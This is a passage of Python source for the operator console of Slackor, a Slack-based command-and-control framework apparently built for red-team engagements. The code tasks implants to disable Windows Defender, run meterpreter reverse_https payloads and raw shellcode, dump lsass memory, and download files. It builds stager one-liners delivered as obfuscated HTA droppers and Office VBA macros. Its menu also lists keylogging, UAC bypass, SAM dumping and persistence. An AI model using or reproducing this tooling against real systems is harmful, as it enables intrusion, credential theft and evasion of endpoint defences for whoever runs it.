cursor = conn.execute("SELECT user from AGENTS where id='" + self.target + "'") 804 user = cursor.fetchone() 805 if user[0].endswith('*'): 806 if args == "realtime": 807 print(color("RISK: Pops a notification on the target and executes powershell.exe", "yellow")) 808 if bad_opsec(): 809 defanger(bearer, commands, self.target, args) 810 print(color("Disabling Real-time protection on " + self.target, "blue")) 811 elif args == "exclusion": 812 print(color("RISK: executes powershell.exe", "yellow")) 813 if bad_opsec(): 814 defanger(bearer, commands, self.target, args) 815 print(color("Adding an AV exclusion for C:\\ on " + self.target, "blue")) 816 817 elif args == "signature": 818 print(color("RISK: executes cmd.exe", "yellow")) 819 if bad_opsec(): 820 defanger(bearer, commands, self.target, args) 821 print(color("Deleting AV signatures on " + self.target, "blue")) 822 else: 823 print(color("Please supply an additional argument [realtime|exclusion|signature]", "blue")) 824 else: 825 print(color("Agent not running as high integrity", "yellow")) 826 ''' 827 def do_metasploit(self, args): 828 """METASPLOIT - Executes meterpreter on the target over HTTPS. 829 MSF payload: windows/x64/meterpreter/reverse_https""" 830 print(color("Listener must be windows/x64/meterpreter/reverse_https", "yellow")) 831 print(color("RISK: Connection to non-slack IP", "yellow")) 832 ip = input("Enter the IP Address: ") 833 port = input("Enter the Port Number: ") 834 url = "https://" + ip + ":" + port + "/" 835 if validate_url(url): 836 metasploit(bearer, commands, self.target, url) 837 print(color("Sending Meterpreter payload to: " + self.target, "blue")) 838 else: 839 print("Invalid URL: " + url) 840 ''' 841 def do_shellcode(self, args): 842 """SHELLCODE - Executes RAW shellcode. MUST be 64 bit. 843 Example: shellcode /tmp/shellcode64.raw""" 844 filepath = args 845 shellcode(bearer, commands, self.target, filepath) 846 print(color("Executing shellcode on: " + self.target, "blue")) 847 848 def do_beacon(self, args): 849 """BEACON - Changes the mean(average)time in seconds that an agent checks for new commands. 20% jitter. 850 Example: beacon 5 (Beacons average 5 seconds)""" 851 try: 852 # Test if value is an integer, bail if not 853 beacon_test = int(args) 854 beacon(bearer, commands, self.target, args) 855 print(color("Changed beacon timing to " + args + " seconds", "blue")) 856 except ValueError: 857 print(color("Beacon value must be an integer. (Number of seconds)", "yellow")) 858 859 def do_wget(self, args): 860 """WGET - Not actually wget, but will download a file when given a URL. 861 Example: wget hxxps://domain.tld/file.exe """ 862 print(color("RISK: Writes to disk, calls out to non-Slack domain", "yellow")) 863 if bad_opsec(): 864 if validate_url(args): 865 upload(bearer, commands, self.target, args) 866 print(color("Tasked " + self.target + " to download the file at " + args, "blue")) 867 else: 868 print("Invalid URL. Please use a full URL.") 869 870 def do_upload(self, args): 871 """UPLOAD - Will upload a file that will be downloaded on the agent. Provide a local path on the server. 872 Example: upload /tmp/file.exe""" 873 print(color("RISK: Writes to disk", "yellow")) 874 if bad_opsec(): 875 url = upload_file(args) 876 if url: 877 upload(bearer, commands, self.target, url) 878 print(color("Tasked " + self.target + " to download the file at " + url, "blue")) 879 880 def do_download(self, args): 881 """DOWNLOAD - Will retrieve a file from the agent. Provide a local path on the agent. 882 Example: download C:\\Users\\Administrator\\Desktop\\secrets.txt """ 883 download(bearer, commands, self.target, args) 884 print(color("Downloading " + args + " from " + self.target + "...", "blue")) 885 886 def do_minidump(self, args): 887 """MINIDUMP - Dumps memory from lsass.exe and downloads it""" 888 conn = sqlite3.connect('slackor.db') 889 cursor = conn.execute("SELECT user from AGENTS where id='" + self.target + "'") 890 user = cursor.fetchone() 891 if user[0].endswith('*'): 892 print(color("RISK: Writes to disk, executes cmd.exe", "yellow")) 893 if bad_opsec(): 894 minidump(bearer, commands, self.target) 895 print(color("Dumping lsass.exe on target, this may take a while...", "blue")) 896 else: 897 print(color("Agent not running as high integrity", "yellow")) 898 899 def do_back(self, args): 900 """BACK - Leave the agent prompt and return to the main menu""" 901 return True 902 903 def do_kill(self, args): 904 """KILL - Kills the agent""" 905 kill(bearer, commands, self.target) 906 print(color("Sent kill command to " + self.target, "blue")) 907 conn = sqlite3.connect('slackor.db') 908 conn.execute("DELETE FROM AGENTS WHERE id=?", (self.target,)) 909 conn.commit() 910 conn.close() 911 agent_list.remove(self.target) 912 return True 913 914 def default(self, args): 915 if len(args) >= 3970: 916 print("Command too large. It must be less than 3970 characters after encrypting.") 917 else: 918 send_command(bearer, args, commands, self.target) 919 920 921 class MyPrompt(Cmd): # Class for modules ran from the main menu 922 923 def do_interact(self, args): 924 """Interacts with a registered agent \n Usage: interact [agent]""" 925 926 target = args.upper() 927 # Check to see if agent is in database 928 conn = sqlite3.connect('slackor.db') 929 cursor = conn.execute("SELECT id from AGENTS WHERE id=?", (target,)) 930 result = cursor.fetchone() 931 conn.close() 932 if result: 933 i = AgentCmd() 934 i.target = target 935 i.prompt = self.prompt[:-1] + ': ' + color(args.upper(), "red") + ')' 936 i.cmdloop(color("Interacting with " + target + ":", "blue")) 937 938 else: 939 print(color("Agent " + target + " not found", "yellow")) 940 941 def complete_interact(self, text, line, start_index, end_index): 942 if text: 943 return [ 944 agent for agent in agent_list 945 if agent.startswith(text.upper()) 946 ] 947 else: 948 return agent_list 949 950 def complete_remove(self, text, line, start_index, end_index): 951 if text: 952 return [ 953 agent for agent in agent_list 954 if agent.startswith(text.upper()) 955 ] 956 else: 957 return agent_list 958 959 def do_list(self, args): 960 """Lists registered agents""" 961 t = PrettyTable(['ID', 'Hostname', 'User', 'IP Address', 'Version']) 962 t.set_style(PLAIN_COLUMNS) 963 conn = sqlite3.connect('slackor.db') 964 cursor = conn.execute("SELECT id, hostname, user, ip, version from AGENTS") 965 for row in cursor: 966 ID = row[0] 967 hostname = row[1] 968 user = row[2] 969 ipaddr = row[3] 970 version = row[4] 971 t.add_row([ID, hostname, user, ipaddr, version]) 972 print(color(t, "blue")) 973 conn.close() 974 975 976 def do_remove(self, args): 977 """Removes an agent. Specify an agent ID or say ALL \n Usage: remove [agent]""" 978 client = args.upper() 979 conn = sqlite3.connect('slackor.db') 980 if client == "ALL": 981 cursor = conn.execute("SELECT id, hostname, ip, version from AGENTS") 982 for row in cursor: 983 try: 984 conn.execute("DELETE FROM AGENTS WHERE id=?", (row[0],)) 985 kill(bearer, commands, row[0]) 986 agent_list.remove(row[0]) 987 print(color("Killing " + row[0], "blue")) 988 except ValueError: 989 pass 990 print(color("Removed all agents", "blue")) 991 else: 992 try: 993 conn.execute("DELETE FROM AGENTS WHERE id=?", (client,)) 994 kill(bearer, commands, client) 995 agent_list.remove(client) 996 print(color("Removed ", "blue") + color(client, "red")) 997 except ValueError: 998 print(color("Agent " + client + " does not exist", "yellow")) 999 1000 conn.commit() 1001 conn.close() 1002 1003 def do_quit(self, args): 1004 """Quits the program.""" 1005 print(color("Quitting...", "yellow")) 1006 raise SystemExit 1007 1008 def do_wipefiles(self, args): 1009 """Deletes all files from the workspace.""" 1010 response = input(color("WARNING: This will delete all files out of Slack. Continue? (Y/n): ", "yellow")) 1011 if response.upper()[:1] == "Y": 1012 print(color("Deleting all files from Slack...", "yellow")) 1013 wipe_files() 1014 1015 def do_stager(self, args): 1016 """Generates a one-liner to download an execute the implant. Takes a file path as an argument.""" 1017 print(color("RISK: Uploads your implant to a Slack. This file will be publicly downloadable.", "yellow")) 1018 if bad_opsec(): 1019 if not args: 1020 print(color("Please supply the file path to the implant file.", "yellow")) 1021 return False 1022 filepath = args 1023 try: 1024 open(filepath, 'rb') 1025 print(color("Uploading payload...", "blue")) 1026 oneliner, unique = make_stager(filepath) 1027 1028 if 'sfhta' in globals(): 1029 1030 with open("output/" + unique + ".html", "w") as out_file: 1031 out_file.write(sfhta.obfuscateHta(sfhta.generateBase(oneliner, "Video Plugin"))) 1032 print(color("Created HTA dropper at output/" + unique + ".html", "blue")) 1033 1034 if 'sfvba' in globals(): 1035 1036 with open("output/" + unique + "_word.vba", "w") as out_file: 1037 out_file.write(sfvba.generateVBALauncher("word", oneliner, "Comments")) 1038 print(color("Created MS Word VBA macro at output/" + unique + "_word.vba", "blue")) 1039 1040 with open("output/" + unique + "_excel.vba", "w") as out_file: 1041 out_file.write(sfvba.generateVBALauncher("excel", oneliner, "Comments")) 1042 print(color("Created MS Excel VBA macro at output/" + unique + "_excel.vba", "blue")) 1043 1044 with open("output/" + unique + "_powerpoint.vba", "w") as out_file: 1045 out_file.write(sfvba.generateVBALauncher("powerpoint", oneliner, "Comments")) 1046 print(color("Created MS PowerPoint VBA macro at output/" + unique + "_powerpoint.vba", "blue")) 1047 1048 except FileNotFoundError: 1049 print(color("File not Found", "yellow")) 1050 return False 1051 except OSError: 1052 print(color("File not Found", "yellow")) 1053 return False 1054 1055 def emptyline(self): 1056 pass 1057 1058 def do_modules(self, arg): 1059 """Displays information about available modules""" 1060 print("""Welcome to Slackor! Below are a list of things you can do: 1061 1062 Main Menu: 1063 =========== 1064 help - Displays information for a command type 1065 Usage: help [COMMAND] 1066 interact - Interacts with a registered agent 1067 Usage: interact [AGENT] 1068 list - Lists registered agents 1069 Usage: list 1070 remove - Removes an agent. Specify an agent ID or say ALL 1071 Usage: remove [AGENT] 1072 revive - Sends a signal to all agents to re-register with the server. 1073 Usage: revive 1074 stager - Generates a one-liner to download an execute the implant. 1075 Usage: stager [LOCAL FILE PATH] 1076 quit - Quits the program. 1077 Usage: quit 1078 wipefiles - Deletes all uploaded files out of the Slack workspace 1079 Usage: wipefiles 1080 1081 Agent Interaction: 1082 =================== 1083 back - Leave the agent prompt and return to the main menu 1084 Usage: back 1085 beacon - Changes the mean(average)time in seconds that an agent checks for new commands. 20% jitter. 1086 Usage: beacon 5 (Beacons average 5 seconds) 1087 bypassuac - Attempts to spawn a new agent with high integrity. 1088 Usage: bypassuac [fodhelper|ask] 1089 defanger - Attempts to de-fang Windows Defender. 1090 Usage: defanger [realtime|exclusion|signature] 1091 cleanup - Removes artifacts. 1092 Usage: cleanup [registry|scheduler|realtime|exclusion|signature] 1093 clipboard - Retrieves the content of the clipboard 1094 Usage: clipboard 1095 download - Will retrieve a file from the agent. Provide a local path on the agent. 1096 Usage: download [LOCAL FILE PATH] 1097 duplicate - Causes the agent to spawn another invocation of itself 1098 Usage: duplicate 1099 getsystem - Spawns an agent as NTAUTHORITY/SYSTEM 1100 Usage: getsystem 1101 help - Displays information for a command type 1102 Usage: help [COMMAND] 1103 keyscan - Starts a keylogger on the agent 1104 Usage: keyscan [start|stop|dump] 1105 kill - Kills the current agent 1106 Usage: kill 1107 minidump - Returns a dump of lsass.exe to be process by mimikatz 1108 Usage: minidump 1109 persist - Creates persistence by implanting a binary in an Alternate Data Stream. 1110 Can be activated by a scheduled task or via a run key. Userland or Elevated. 1111 Usage: persist [registry|scheduler|wmi] 1112 samdump - Attempts to dump the SAM, SYSTEM and SECURITY files for offline hash extraction 1113 Usage: samdump 1114 shellcode - Executes x64 raw shellcode from a file. 1115 Usage: shellcode [SERVER FILE PATH] 1116 sleep - Causes the agent to sleep once. Time must be in seconds. 1117 Usage: sleep [INTEGER] 1118 sysinfo - Displays the current user, OS version, system architecture, and number of CPU cores 1119 Usage: sysinfo 1120 upload - Will upload a file that will be downloaded on the agent. Provide a local path on the server. 1121 Usage: upload [SERVER FILE PATH] 1122 wget - Not actually wget, but will download a file when given a URL. 1123 Usage: wget [URL] 1124 1125 OPSEC Information : 1126 =================== 1127 Modules will warn you before performing tasks that write to disk. 1128 When executing shell commands, take note that cmd.exe will be executed. This may be monitored on the host. 1129 Here are several OPSEC safe commands that will NOT execute cmd.exe: 1130 cat - prints the content of a file 1131 Usage: cat [FILEPATH] 1132 cd - change directory 1133 Usage: cd [DIRECTORY] 1134 hostname - Displays the name of the host 1135 Usage: hostname 1136 ifconfig - Displays interface information 1137 Usage: ifconfig 1138 getip - Get external IP address (makes a DNS request) 1139 Usage: getip 1140 ls - list directory contents 1141 Usage: ls [DIRECTORY] 1142 find - search directory filenames 1143 Usage: find [GLOB] 1144 mkdir - creates a directory 1145 Usage: mkdir [DIRPATH] 1146 pwd - prints the current working directory 1147 Usage: pwd 1148 rm - removes a file 1149 Usage: rm [FILEPATH] 1150 rmdir - removes a directory 1151 Usage: rmdir [DIRPATH] 1152 whoami / getuid - prints the current user 1153 Usage: whoami 1154 Usage: getuid 1155 """) 1156 1157 def default(self, line): 1158 print(color('Unknown command: %s\n' % (line,), "yellow")) 1159 1160 def do_revive(self, args): 1161 """REVIVE - Sends a signal to all agents to re-register with the server. 1162 """ 1163 revive(bearer, commands) 1164 print(color("Sending signal to all agents to register with the server...\n", "blue")) 1165 1166 1167 if __name__ == '__main__': 1168 # Keep checking for agents in the background 1169 agent_monitor = threading.Thread(target=update_agents) 1170 agent_monitor.start() 1171 # Keep checking for responses in the background 1172 response_monitor = threading.Thread(target=check_responses) 1173 response_monitor.start() 1174 prompt = MyPrompt() 1175 prompt.doc_header = "Main Menu (type help <topic>):" 1176 prompt.misc_header = "Agent Commands (type help <topic>):" 1177 prompt.prompt = '(Slackor)' 1178 banner = """ 1179 __ _ _ _ _ 1180 / _| | __ _ ___| | _____ _ __ _| || |_ 1181 \ \| |/ _` |/ __| |/ / _ \| '__| |_ .. _| 1182 _\ | | (_| | (__| | (_) | | |_ _| 1183 \__|_|\__,_|\___|_|\_\___/|_| |_||_| 1184 \n""" 1185 note = """ 1186 ⬡ Presented by n00py on behalf of Coalfire Labs R&D ⬡ 1187 https://www.coalfire.com/ 1188 """ 1189 prompt.cmdloop(color(banner, "green") + color(note, "red") 1190 + color("\nType \"modules\""" for additional information.", "green"))